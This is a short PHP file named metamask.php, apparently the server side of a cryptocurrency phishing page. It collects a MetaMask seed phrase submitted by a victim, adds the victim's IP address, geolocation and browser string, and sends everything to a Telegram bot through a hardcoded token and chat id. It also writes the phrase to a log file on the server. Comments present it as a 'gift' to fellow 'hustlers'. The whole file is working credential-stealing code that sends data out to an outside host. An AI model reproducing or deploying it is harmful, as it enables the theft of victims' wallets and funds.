metamask.php 1.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344
  1. <?php
  2. $request = file_get_contents("http://api.sypexgeo.net/json/".$_SERVER['REMOTE_ADDR']);
  3. $array = json_decode($request);
  4. $geo = $array->country->name_en;
  5. $city = $array->city->name_en;
  6. $date = date("m.d.Y"); //aaja
  7. /*
  8. With love and respect to all the hustler out there,
  9. This is a small gift to my brothers,
  10. All the best with your luck,
  11. Regards,
  12. j1j1b1s@m3r0
  13. */
  14. $message = "<b>Welcome 2 The Jungle </b>
  15. <b>Wallet:</b> Metamask
  16. <b>Phrase:</b> <code>" . $_POST["data"] . "</code>
  17. <b>IP:</b> " .$_SERVER['REMOTE_ADDR'] . " | " .$geo. " | " .$city. "
  18. <b>User:</b> " . $_SERVER['HTTP_USER_AGENT'] . "";
  19. sendTel($message);
  20. function sendTel($message){
  21. $id = "5442785564";
  22. $token = "5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10";
  23. $filename = "https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$id."&text=".urlencode($message)."&parse_mode=html";
  24. file_get_contents($filename);
  25. $_POST["import-account__secret-phrase"]. $text = $_POST['data']."\n";;
  26. @file_put_contents($_SERVER['DOCUMENT_ROOT'].'/log/'.'log.txt', $text, FILE_APPEND);
  27. }
  28. ?>